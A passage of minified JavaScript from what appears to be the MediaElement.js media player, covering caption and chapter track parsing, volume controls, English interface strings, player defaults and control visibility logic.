e&&/<tt\s+xml/gi.exec(e)?i["default"].TrackFormatParser.dfxp.parse(e):i["default"].TrackFormatParser.webvtt.parse(e),n.isLoaded=!0,t.enableTrackButton(n),t.loadNextTrack(),"slides"===n.kind?t.setupSlides(n):"chapters"!==n.kind||t.hasChapters||(t.drawChapters(n),t.hasChapters=!0)},function(){t.removeTrackButton(n.trackId),t.loadNextTrack()})},enableTrackButton:function(e){var t=this,o=e.srclang,a=n["default"].getElementById(""+e.trackId);if(a){var s=e.label;""===s&&(s=r["default"].t(i["default"].language.codes[o])||o),a.disabled=!1;for(var u=(0,c.siblings)(a,function(e){return(0,c.hasClass)(e,t.options.classPrefix+"captions-selector-label")}),d=0,f=u.length;d<f;d++)u[d].innerHTML=s;if(t.options.startLanguage===o){a.checked=!0;var p=(0,l.createEvent)("click",a);a.dispatchEvent(p)}}},removeTrackButton:function(e){var t=n["default"].getElementById(""+e);if(t){var i=t.closest("li");i&&i.remove()}},addTrackButton:function(e,t,n){var o=this;""===n&&(n=r["default"].t(i["default"].language.codes[t])||t),o.captionsButton.querySelector("ul").innerHTML+='<li class="'+o.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+o.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+e+'" value="'+e+'" disabled><label class="'+o.options.classPrefix+'captions-selector-label"for="'+e+'">'+n+" (loading)</label></li>"},checkForTracks:function(){var e=this,t=!1;if(e.options.hideCaptionsButtonWhenEmpty){for(var n=0,i=e.tracks.length;n<i;n++){var r=e.tracks[n].kind;if(("subtitles"===r||"captions"===r)&&e.tracks[n].isLoaded){t=!0;break}}e.captionsButton.style.display=t?"":"none",e.setControlsSize()}},displayCaptions:function(){if(this.tracks!==undefined){var e=this,t=e.selectedTrack,i=function(e){var t=n["default"].createElement("div");t.innerHTML=e;for(var i=t.getElementsByTagName("script"),r=i.length;r--;)i[r].remove();for(var o=t.getElementsByTagName("*"),a=0,s=o.length;a<s;a++)for(var l=o[a].attributes,c=Array.prototype.slice.call(l),u=0,d=c.length;u<d;u++)c[u].name.startsWith("on")||c[u].value.startsWith("javascript")?o[a].remove():"style"===c[u].name&&o[a].removeAttribute(c[u].name);return t.innerHTML};if(null!==t&&t.isLoaded){var r=e.searchTrackPosition(t.entries,e.media.currentTime);if(r>-1)return e.captionsText.innerHTML=i(t.entries[r].text),e.captionsText.className=e.options.classPrefix+"captions-text "+(t.entries[r].identifier||""),e.captions.style.display="",void(e.captions.style.height="0px");e.captions.style.display="none"}else e.captions.style.display="none"}},setupSlides:function(e){var t=this;t.slides=e,t.slides.entries.imgs=[t.slides.entries.length],t.showSlide(0)},showSlide:function(e){var t=this,i=this;if(i.tracks!==undefined&&i.slidesContainer!==undefined){var r=i.slides.entries[e].text,o=i.slides.entries[e].imgs;if(o===undefined||o.fadeIn===undefined){var a=n["default"].createElement("img");a.src=r,a.addEventListener("load",function(){var e=t,n=(0,c.siblings)(e,function(e){return n(e)});e.style.display="none",i.slidesContainer.innerHTML+=e.innerHTML,(0,c.fadeIn)(i.slidesContainer.querySelector(a));for(var r=0,o=n.length;r<o;r++)(0,c.fadeOut)(n[r],400)}),i.slides.entries[e].imgs=o=a}else if(!(0,c.visible)(o)){var s=(0,c.siblings)(self,function(e){return s(e)});(0,c.fadeIn)(i.slidesContainer.querySelector(o));for(var l=0,u=s.length;l<u;l++)(0,c.fadeOut)(s[l])}}},displaySlides:function(){var e=this;if(this.slides!==undefined){var t=e.slides,n=e.searchTrackPosition(t.entries,e.media.currentTime);n>-1&&e.showSlide(n)}},drawChapters:function(e){var t=this,n=e.entries.length;if(n){t.chaptersButton.querySelector("ul").innerHTML="";for(var i=0;i<n;i++)t.chaptersButton.querySelector("ul").innerHTML+='<li class="'+t.options.classPrefix+'chapters-selector-list-item" role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false"><input type="radio" class="'+t.options.classPrefix+'captions-selector-input" name="'+t.id+'_chapters" id="'+t.id+"_chapters_"+i+'" value="'+e.entries[i].start+'" disabled><label class="'+t.options.classPrefix+'chapters-selector-label"for="'+t.id+"_chapters_"+i+'">'+e.entries[i].text+"</label></li>";for(var r=t.chaptersButton.querySelectorAll('input[type="radio"]'),o=t.chaptersButton.querySelectorAll("."+t.options.classPrefix+"chapters-selector-label"),a=0,s=r.length;a<s;a++)r[a].disabled=!1,r[a].checked=!1,r[a].addEventListener("click",function(){var e=this,n=t.chaptersButton.querySelectorAll("li"),i=(0,c.siblings)(e,function(e){return(0,c.hasClass)(e,t.options.classPrefix+"chapters-selector-label")})[0];e.checked=!0,e.parentNode.setAttribute("aria-checked",!0),(0,c.addClass)(i,t.options.classPrefix+"chapters-selected"),(0,c.removeClass)(t.chaptersButton.querySelector("."+t.options.classPrefix+"chapters-selected"),t.options.classPrefix+"chapters-selected");for(var r=0,o=n.length;r<o;r++)n[r].setAttribute("aria-checked",!1);t.media.setCurrentTime(parseFloat(e.value)),t.media.paused&&t.media.play()});for(var u=0,d=o.length;u<d;u++)o[u].addEventListener("click",function(){var e=(0,c.siblings)(this,function(e){return"INPUT"===e.tagName})[0],t=(0,l.createEvent)("click",e);e.dispatchEvent(t)})}},searchTrackPosition:function(e,t){for(var n=0,i=e.length-1,r=void 0,o=void 0,a=void 0;n<=i;){if(o=e[r=n+i>>1].start,a=e[r].stop,t>=o&&t<a)return r;o<t?n=r+1:o>t&&(i=r-1)}return-1}}),i["default"].language={codes:{af:"mejs.afrikaans",sq:"mejs.albanian",ar:"mejs.arabic",be:"mejs.belarusian",bg:"mejs.bulgarian",ca:"mejs.catalan",zh:"mejs.chinese","zh-cn":"mejs.chinese-simplified","zh-tw":"mejs.chines-traditional",hr:"mejs.croatian",cs:"mejs.czech",da:"mejs.danish",nl:"mejs.dutch",en:"mejs.english",et:"mejs.estonian",fl:"mejs.filipino",fi:"mejs.finnish",fr:"mejs.french",gl:"mejs.galician",de:"mejs.german",el:"mejs.greek",ht:"mejs.haitian-creole",iw:"mejs.hebrew",hi:"mejs.hindi",hu:"mejs.hungarian",is:"mejs.icelandic",id:"mejs.indonesian",ga:"mejs.irish",it:"mejs.italian",ja:"mejs.japanese",ko:"mejs.korean",lv:"mejs.latvian",lt:"mejs.lithuanian",mk:"mejs.macedonian",ms:"mejs.malay",mt:"mejs.maltese",no:"mejs.norwegian",fa:"mejs.persian",pl:"mejs.polish",pt:"mejs.portuguese",ro:"mejs.romanian",ru:"mejs.russian",sr:"mejs.serbian",sk:"mejs.slovak",sl:"mejs.slovenian",es:"mejs.spanish",sw:"mejs.swahili",sv:"mejs.swedish",tl:"mejs.tagalog",th:"mejs.thai",tr:"mejs.turkish",uk:"mejs.ukrainian",vi:"mejs.vietnamese",cy:"mejs.welsh",yi:"mejs.yiddish"}},i["default"].TrackFormatParser={webvtt:{pattern:/^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,parse:function(e){for(var t=e.split(/\r?\n/),n=[],i=void 0,r=void 0,o=void 0,a=0,l=t.length;a<l;a++){if((i=this.pattern.exec(t[a]))&&a<t.length){for(a-1>=0&&""!==t[a-1]&&(o=t[a-1]),r=t[++a],a++;""!==t[a]&&a<t.length;)r=r+"\n"+t[a],a++;r=r.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),n.push({identifier:o,start:0===(0,s.convertSMPTEtoSeconds)(i[1])?.2:(0,s.convertSMPTEtoSeconds)(i[1]),stop:(0,s.convertSMPTEtoSeconds)(i[3]),text:r,settings:i[5]})}o=""}return n}},dfxp:{parse:function(e){var t=(e=$(e).filter("tt")).firstChild,n=t.querySelectorAll("p"),i=e.getElementById(""+t.attr("style")),r=[],o=void 0;if(i.length){i.removeAttribute("id");var a=i.attributes;if(a.length){o={};for(var l=0,c=a.length;l<c;l++)o[a[l].name.split(":")[1]]=a[l].value}}for(var u=0,d=n.length;u<d;u++){var f=void 0,p={start:null,stop:null,style:null,text:null};if(n.eq(u).attr("begin")&&(p.start=(0,s.convertSMPTEtoSeconds)(n.eq(u).attr("begin"))),!p.start&&n.eq(u-1).attr("end")&&(p.start=(0,s.convertSMPTEtoSeconds)(n.eq(u-1).attr("end"))),n.eq(u).attr("end")&&(p.stop=(0,s.convertSMPTEtoSeconds)(n.eq(u).attr("end"))),!p.stop&&n.eq(u+1).attr("begin")&&(p.stop=(0,s.convertSMPTEtoSeconds)(n.eq(u+1).attr("begin"))),o)for(var h in f="",o)f+=h+":"+o[h]+";";f&&(p.style=f),0===p.start&&(p.start=.2),p.text=n.eq(u).innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),r.push(p)}return r}}}},{16:16,2:2,26:26,27:27,30:30,5:5,7:7}],14:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(2)),i=e(16),r=t(i),o=t(e(5)),a=e(25),s=e(27),l=e(26);Object.assign(i.config,{muteText:null,unmuteText:null,allyVolumeControlText:null,hideVolumeOnTouchDevices:!0,audioVolume:"horizontal",videoVolume:"vertical",startVolume:.8}),Object.assign(r["default"].prototype,{buildvolume:function(e,t,i,r){if(!a.IS_ANDROID&&!a.IS_IOS||!this.options.hideVolumeOnTouchDevices){var c=this,u=c.isVideo?c.options.videoVolume:c.options.audioVolume,d=(0,s.isString)(c.options.muteText)?c.options.muteText:o["default"].t("mejs.mute"),f=(0,s.isString)(c.options.unmuteText)?c.options.unmuteText:o["default"].t("mejs.unmute"),p=(0,s.isString)(c.options.allyVolumeControlText)?c.options.allyVolumeControlText:o["default"].t("mejs.volume-help-text"),h=n["default"].createElement("div");if(h.className=c.options.classPrefix+"button "+c.options.classPrefix+"volume-button "+c.options.classPrefix+"mute",h.innerHTML="horizontal"===u?'<button type="button" aria-controls="'+c.id+'" title="'+d+'" aria-label="'+d+'" tabindex="0"></button>':'<button type="button" aria-controls="'+c.id+'" title="'+d+'" aria-label="'+d+'" tabindex="0"></button><a href="javascript:void(0);" class="'+c.options.classPrefix+'volume-slider" aria-label="'+o["default"].t("mejs.volume-slider")+'" aria-valuemin="0" aria-valuemax="100" role="slider" aria-orientation="vertical"><span class="'+c.options.classPrefix+'offscreen">'+p+'</span><div class="'+c.options.classPrefix+'volume-total"><div class="'+c.options.classPrefix+'volume-current"></div><div class="'+c.options.classPrefix+'volume-handle"></div></div></a>',c.addControlElement(h,"volume"),"horizontal"===u){var m=n["default"].createElement("a");m.className=c.options.classPrefix+"horizontal-volume-slider",m.href="javascript:void(0);",m.setAttribute("aria-label",o["default"].t("mejs.volume-slider")),m.setAttribute("aria-valuemin",0),m.setAttribute("aria-valuemax",100),m.setAttribute("role","slider"),m.innerHTML+='<span class="'+c.options.classPrefix+'offscreen">'+p+'</span><div class="'+c.options.classPrefix+'horizontal-volume-total"><div class="'+c.options.classPrefix+'horizontal-volume-current"></div><div class="'+c.options.classPrefix+'horizontal-volume-handle"></div></div>',h.parentNode.insertBefore(m,h.nextSibling)}var g=!1,y=!1,v=!1,b=function(){var e=Math.floor(100*r.volume);_.setAttribute("aria-valuenow",e),_.setAttribute("aria-valuetext",e+"%")},_="vertical"===u?c.container.querySelector("."+c.options.classPrefix+"volume-slider"):c.container.querySelector("."+c.options.classPrefix+"horizontal-volume-slider"),T="vertical"===u?c.container.querySelector("."+c.options.classPrefix+"volume-total"):c.container.querySelector("."+c.options.classPrefix+"horizontal-volume-total"),w="vertical"===u?c.container.querySelector("."+c.options.classPrefix+"volume-current"):c.container.querySelector("."+c.options.classPrefix+"horizontal-volume-current"),S="vertical"===u?c.container.querySelector("."+c.options.classPrefix+"volume-handle"):c.container.querySelector("."+c.options.classPrefix+"horizontal-volume-handle"),k=function(e){if(null!==e&&!isNaN(e)&&e!==undefined){if(e=Math.max(0,e),0===(e=Math.min(e,1))){(0,l.removeClass)(h,c.options.classPrefix+"mute"),(0,l.addClass)(h,c.options.classPrefix+"unmute");var t=h.firstElementChild;t.setAttribute("title",f),t.setAttribute("aria-label",f)}else{(0,l.removeClass)(h,c.options.classPrefix+"unmute"),(0,l.addClass)(h,c.options.classPrefix+"mute");var n=h.firstElementChild;n.setAttribute("title",d),n.setAttribute("aria-label",d)}var i=100*e+"%",r=getComputedStyle(S);"vertical"===u?(w.style.bottom=0,w.style.height=i,S.style.bottom=i,S.style.marginBottom=-parseFloat(r.height)/2+"px"):(w.style.left=0,w.style.width=i,S.style.left=i,S.style.marginLeft=-parseFloat(r.width)/2+"px")}},C=function(e){var t=(0,l.offset)(T),n=getComputedStyle(T);v=!0;var i=null;if("vertical"===u){var r=parseFloat(n.height);if(i=(r-(e.pageY-t.top))/r,0===t.top||0===t.left)return}else{var o=parseFloat(n.width);i=(e.pageX-t.left)/o}i=Math.max(0,i),i=Math.min(i,1),k(i),c.setMuted(0===i),c.setVolume(i),e.preventDefault(),e.stopPropagation()},x=function(){c.muted?(k(0),(0,l.removeClass)(h,c.options.classPrefix+"mute"),(0,l.addClass)(h,c.options.classPrefix+"unmute")):(k(r.volume),(0,l.removeClass)(h,c.options.classPrefix+"unmute"),(0,l.addClass)(h,c.options.classPrefix+"mute"))};h.addEventListener("mouseenter",function(e){e.target===h&&(_.style.display="block",y=!0,e.preventDefault(),e.stopPropagation())}),h.addEventListener("focusin",function(){_.style.display="block",y=!0}),h.addEventListener("focusout",function(e){e.relatedTarget&&(!e.relatedTarget||e.relatedTarget.matches("."+c.options.classPrefix+"volume-slider"))||"vertical"!==u||(_.style.display="none")}),h.addEventListener("mouseleave",function(){y=!1,g||"vertical"!==u||(_.style.display="none")}),h.addEventListener("focusout",function(){y=!1}),h.addEventListener("keydown",function(e){if(c.options.keyActions.length){var t=e.which||e.keyCode||0,n=r.volume;switch(t){case 38:n=Math.min(n+.1,1);break;case 40:n=Math.max(0,n-.1);break;default:return!0}g=!1,k(n),r.setVolume(n),e.preventDefault(),e.stopPropagation()}}),h.querySelector("button").addEventListener("click",function(){r.setMuted(!r.muted);var e=(0,s.createEvent)("volumechange",r);r.dispatchEvent(e)}),_.addEventListener("dragstart",function(){return!1}),_.addEventListener("mouseover",function(){y=!0}),_.addEventListener("focusin",function(){_.style.display="block",y=!0}),_.addEventListener("focusout",function(){y=!1,g||"vertical"!==u||(_.style.display="none") }),_.addEventListener("mousedown",function(e){C(e),c.globalBind("mousemove.vol",function(e){var t=e.target;g&&(t===_||t.closest("vertical"===u?"."+c.options.classPrefix+"volume-slider":"."+c.options.classPrefix+"horizontal-volume-slider"))&&C(e)}),c.globalBind("mouseup.vol",function(){g=!1,y||"vertical"!==u||(_.style.display="none")}),g=!0,e.preventDefault(),e.stopPropagation()}),r.addEventListener("volumechange",function(e){g||x(),b(e)});var E=!1;r.addEventListener("rendererready",function(){v||setTimeout(function(){E=!0,(0===e.options.startVolume||r.originalNode.muted)&&(r.setMuted(!0),e.options.startVolume=0),r.setVolume(e.options.startVolume),c.setControlsSize()},250)}),r.addEventListener("loadedmetadata",function(){setTimeout(function(){v||E||((0===e.options.startVolume||r.originalNode.muted)&&(r.setMuted(!0),e.options.startVolume=0),r.setVolume(e.options.startVolume),c.setControlsSize()),E=!1},250)}),(0===e.options.startVolume||r.originalNode.muted)&&(r.setMuted(!0),e.options.startVolume=0,x()),c.container.addEventListener("controlsresize",function(){x()})}}})},{16:16,2:2,25:25,26:26,27:27,5:5}],15:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}},{}],16:[function(e,t,n){"use strict";function i(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function r(e){return e&&e.__esModule?e:{"default":e}}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(n,"__esModule",{value:!0}),n.config=undefined;var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=function(){function e(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(t,n,i){return n&&e(t.prototype,n),i&&e(t,i),t}}(),l=r(e(3)),c=r(e(2)),u=r(e(7)),d=r(e(6)),f=r(e(17)),p=r(e(5)),h=e(25),m=e(27),g=e(30),y=e(28),v=i(e(26));u["default"].mepIndex=0,u["default"].players={};var b=n.config={poster:"",showPosterWhenEnded:!1,showPosterWhenPaused:!1,defaultVideoWidth:480,defaultVideoHeight:270,videoWidth:-1,videoHeight:-1,defaultAudioWidth:400,defaultAudioHeight:40,defaultSeekBackwardInterval:function(e){return.05*e.getDuration()},defaultSeekForwardInterval:function(e){return.05*e.getDuration()},setDimensions:!0,audioWidth:-1,audioHeight:-1,loop:!1,autoRewind:!0,enableAutosize:!0,timeFormat:"",alwaysShowHours:!1,showTimecodeFrameCount:!1,framesPerSecond:25,alwaysShowControls:!1,hideVideoControlsOnLoad:!1,hideVideoControlsOnPause:!1,clickToPlayPause:!0,controlsTimeoutDefault:1500,controlsTimeoutMouseEnter:2500,controlsTimeoutMouseLeave:1e3,iPadUseNativeControls:!1,iPhoneUseNativeControls:!1,AndroidUseNativeControls:!1,features:["playpause","current","progress","duration","tracks","volume","fullscreen"],useDefaultControls:!1,isVideo:!0,stretching:"auto",classPrefix:"mejs__",enableKeyboard:!0,pauseOtherPlayers:!0,secondsDecimalLength:0,customError:null,keyActions:[{keys:[32,179],action:function(e){h.IS_FIREFOX||(e.paused||e.ended?e.play():e.pause())}},{keys:[38],action:function(e){(e.container.querySelector("."+b.classPrefix+"volume-button>button").matches(":focus")||e.container.querySelector("."+b.classPrefix+"volume-slider").matches(":focus"))&&(e.container.querySelector("."+b.classPrefix+"volume-slider").style.display=""),e.isVideo&&(e.showControls(),e.startControlsTimer());var t=Math.min(e.volume+.1,1);e.setVolume(t),t>0&&e.setMuted(!1)}},{keys:[40],action:function(e){(e.container.querySelector("."+b.classPrefix+"volume-button>button").matches(":focus")||e.container.querySelector("."+b.classPrefix+"volume-slider").matches(":focus"))&&(e.container.querySelector("."+b.classPrefix+"volume-slider").style.display=""),e.isVideo&&(e.showControls(),e.startControlsTimer());var t=Math.max(e.volume-.1,0);e.setVolume(t),t<=.1&&e.setMuted(!0)}},{keys:[37,227],action:function(e){if(!isNaN(e.duration)&&e.duration>0){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=Math.max(e.currentTime-e.options.defaultSeekBackwardInterval(e),0);e.setCurrentTime(t)}}},{keys:[39,228],action:function(e){if(!isNaN(e.duration)&&e.duration>0){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=Math.min(e.currentTime+e.options.defaultSeekForwardInterval(e),e.duration);e.setCurrentTime(t)}}},{keys:[70],action:function(e,t,n,i){i.ctrlKey||"undefined"!=typeof e.enterFullScreen&&(e.isFullScreen?e.exitFullScreen():e.enterFullScreen())}},{keys:[77],action:function(e){e.container.querySelector("."+b.classPrefix+"volume-slider").style.display="",e.isVideo&&(e.showControls(),e.startControlsTimer()),e.media.muted?e.setMuted(!1):e.setMuted(!0)}}]};u["default"].MepDefaults=b;var _=function(){function e(t,n){o(this,e);var i=this,r="string"==typeof t?c["default"].getElementById(t):t;if(!(i instanceof e))return new e(r,n);if(i.node=i.media=r,i.node){if(i.media.player)return i.media.player;if(i.hasFocus=!1,i.controlsAreVisible=!0,i.controlsEnabled=!0,i.controlsTimer=null,i.currentMediaTime=0,i.proxy=null,n===undefined){var a=i.node.getAttribute("data-mejsoptions");n=a?JSON.parse(a):{}}i.options=Object.assign({},b,n),i.options.loop&&!i.media.getAttribute("loop")?(i.media.loop=!0,i.node.loop=!0):i.media.loop&&(i.options.loop=!0),i.options.timeFormat||(i.options.timeFormat="mm:ss",i.options.alwaysShowHours&&(i.options.timeFormat="hh:mm:ss"),i.options.showTimecodeFrameCount&&(i.options.timeFormat+=":ff")),(0,g.calculateTimeFormat)(0,i.options,i.options.framesPerSecond||25),i.id="mep_"+u["default"].mepIndex++,u["default"].players[i.id]=i;var s=Object.assign({},i.options,{success:function(e,t){i._meReady(e,t)},error:function(e){i._handleError(e)}}),l=i.node.tagName.toLowerCase();if(i.isDynamic="audio"!==l&&"video"!==l&&"iframe"!==l,i.isVideo=i.isDynamic?i.options.isVideo:"audio"!==l&&i.options.isVideo,i.mediaFiles=null,i.trackFiles=null,h.IS_IPAD&&i.options.iPadUseNativeControls||h.IS_IPHONE&&i.options.iPhoneUseNativeControls)i.node.setAttribute("controls",!0),h.IS_IPAD&&i.node.getAttribute("autoplay")&&i.play();else if(!i.isVideo&&(i.isVideo||!i.options.features.length&&!i.options.useDefaultControls)||h.IS_ANDROID&&i.options.AndroidUseNativeControls)i.isVideo||i.options.features.length||i.options.useDefaultControls||(i.node.style.display="none");else{i.node.removeAttribute("controls");var f=i.isVideo?p["default"].t("mejs.video-player"):p["default"].t("mejs.audio-player"),_=c["default"].createElement("span");if(_.className=i.options.classPrefix+"offscreen",_.innerText=f,i.media.parentNode.insertBefore(_,i.media),i.container=c["default"].createElement("div"),i.container.id=i.id,i.container.className=i.options.classPrefix+"container "+i.options.classPrefix+"container-keyboard-inactive "+i.media.className,i.container.tabIndex=0,i.container.setAttribute("role","application"),i.container.setAttribute("aria-label",f),i.container.innerHTML='<div class="'+i.options.classPrefix+'inner"><div class="'+i.options.classPrefix+'mediaelement"></div><div class="'+i.options.classPrefix+'layers"></div><div class="'+i.options.classPrefix+'controls"></div></div>',i.container.addEventListener("focus",function(e){if(!i.controlsAreVisible&&!i.hasFocus&&i.controlsEnabled){i.showControls(!0);var t=(0,m.isNodeAfter)(e.relatedTarget,i.container)?"."+i.options.classPrefix+"controls ."+i.options.classPrefix+"button:last-child > button":"."+i.options.classPrefix+"playpause-button > button";i.container.querySelector(t).focus()}}),i.node.parentNode.insertBefore(i.container,i.node),i.options.features.length||i.options.useDefaultControls||(i.container.style.background="transparent",i.container.querySelector("."+i.options.classPrefix+"controls").style.display="none"),i.isVideo&&"fill"===i.options.stretching&&!v.hasClass(i.container.parentNode,i.options.classPrefix+"fill-container")){i.outerContainer=i.media.parentNode;var T=c["default"].createElement("div");T.className=i.options.classPrefix+"fill-container",i.container.parentNode.insertBefore(T,i.container),T.appendChild(i.container)}if(h.IS_ANDROID&&v.addClass(i.container,i.options.classPrefix+"android"),h.IS_IOS&&v.addClass(i.container,i.options.classPrefix+"ios"),h.IS_IPAD&&v.addClass(i.container,i.options.classPrefix+"ipad"),h.IS_IPHONE&&v.addClass(i.container,i.options.classPrefix+"iphone"),v.addClass(i.container,i.isVideo?i.options.classPrefix+"video":i.options.classPrefix+"audio"),h.IS_SAFARI&&!h.IS_IOS){v.addClass(i.container,i.options.classPrefix+"hide-cues");for(var w=i.node.cloneNode(),S=i.node.children,k=[],C=[],x=0,E=S.length;x<E;x++){var $=S[x];!function(){switch($.tagName.toLowerCase()){case"source":var e={};Array.prototype.slice.call($.attributes).forEach(function(t){e[t.name]=t.value}),e.type=(0,y.formatType)(e.src,e.type),k.push(e);break;case"track":$.mode="hidden",C.push($);break;default:w.appendChild($)}}()}i.node.remove(),i.node=i.media=w,k.length&&(i.mediaFiles=k),C.length&&(i.trackFiles=C)}i.container.querySelector("."+i.options.classPrefix+"mediaelement").appendChild(i.node),i.media.player=i,i.controls=i.container.querySelector("."+i.options.classPrefix+"controls"),i.layers=i.container.querySelector("."+i.options.classPrefix+"layers");var A=i.isVideo?"video":"audio",M=A.substring(0,1).toUpperCase()+A.substring(1);i.options[A+"Width"]>0||i.options[A+"Width"].toString().indexOf("%")>-1?i.width=i.options[A+"Width"]:""!==i.node.style.width&&null!==i.node.style.width?i.width=i.node.style.width:i.node.getAttribute("width")?i.width=i.node.getAttribute("width"):i.width=i.options["default"+M+"Width"],i.options[A+"Height"]>0||i.options[A+"Height"].toString().indexOf("%")>-1?i.height=i.options[A+"Height"]:""!==i.node.style.height&&null!==i.node.style.height?i.height=i.node.style.height:i.node.getAttribute("height")?i.height=i.node.getAttribute("height"):i.height=i.options["default"+M+"Height"],i.initialAspectRatio=i.height>=i.width?i.width/i.height:i.height/i.width,i.setPlayerSize(i.width,i.height),s.pluginWidth=i.width,s.pluginHeight=i.height}if(u["default"].MepDefaults=s,new d["default"](i.media,s,i.mediaFiles),i.container!==undefined&&i.options.features.length&&i.controlsAreVisible&&!i.options.hideVideoControlsOnLoad){var P=(0,m.createEvent)("controlsshown",i.container);i.container.dispatchEvent(P)}return i}}return s(e,[{key:"showControls",value:function(e){var t=this;if(e=e===undefined||e,!t.controlsAreVisible&&t.isVideo){if(e)!function(){v.fadeIn(t.controls,200,function(){v.removeClass(t.controls,t.options.classPrefix+"offscreen");var e=(0,m.createEvent)("controlsshown",t.container);t.container.dispatchEvent(e)});for(var e=t.container.querySelectorAll("."+t.options.classPrefix+"control"),n=function(n){v.fadeIn(e[n],200,function(){v.removeClass(e[n],t.options.classPrefix+"offscreen")})},i=0,r=e.length;i<r;i++)n(i,r)}();else{v.removeClass(t.controls,t.options.classPrefix+"offscreen"),t.controls.style.display="",t.controls.style.opacity=1;for(var n=t.container.querySelectorAll("."+t.options.classPrefix+"control"),i=0,r=n.length;i<r;i++)v.removeClass(n[i],t.options.classPrefix+"offscreen"),n[i].style.display="";var o=(0,m.createEvent)("controlsshown",t.container);t.container.dispatchEvent(o)}t.controlsAreVisible=!0,t.setControlsSize()}}},{key:"hideControls",value:function(e,t){var n=this;if(e=e===undefined||e,!0===t||!(!n.controlsAreVisible||n.options.alwaysShowControls||n.paused&&4===n.readyState&&(!n.options.hideVideoControlsOnLoad&&n.currentTime<=0||!n.options.hideVideoControlsOnPause&&n.currentTime>0)||n.isVideo&&!n.options.hideVideoControlsOnLoad&&!n.readyState||n.ended)){if(e)!function(){v.fadeOut(n.controls,200,function(){v.addClass(n.controls,n.options.classPrefix+"offscreen"),n.controls.style.display="";var e=(0,m.createEvent)("controlshidden",n.container);n.container.dispatchEvent(e)});for(var e=n.container.querySelectorAll("."+n.options.classPrefix+"control"),t=function(t){v.fadeOut(e[t],200,function(){v.addClass(e[t],n.options.classPrefix+"offscreen"),e[t].style.display=""})},i=0,r=e.length;i<r;i++)t(i,r)}();else{v.addClass(n.controls,n.options.classPrefix+"offscreen"),n.controls.style.display="",n.controls.style.opacity=0;for(var i=n.container.querySelectorAll("."+n.options.classPrefix+"control"),r=0,o=i.length;r<o;r++)v.addClass(i[r],n.options.classPrefix+"offscreen"),i[r].style.display="";var a=(0,m.createEvent)("controlshidden",n.container);n.container.dispatchEvent(a)}n.controlsAreVisible=!1}}},{key:"startControlsTimer",value:function(e){var t=this;e=void 0!==e?e:t.options.controlsTimeoutDefault,t.killControlsTimer("start"),t.controlsTimer=setTimeout(function(){t.hideControls(),t.killControlsTimer("hide")},e)}},{key:"killControlsTimer",value:function(){var e=this;null!==e.controlsTimer&&(clearTimeout(e.controlsTimer),delete 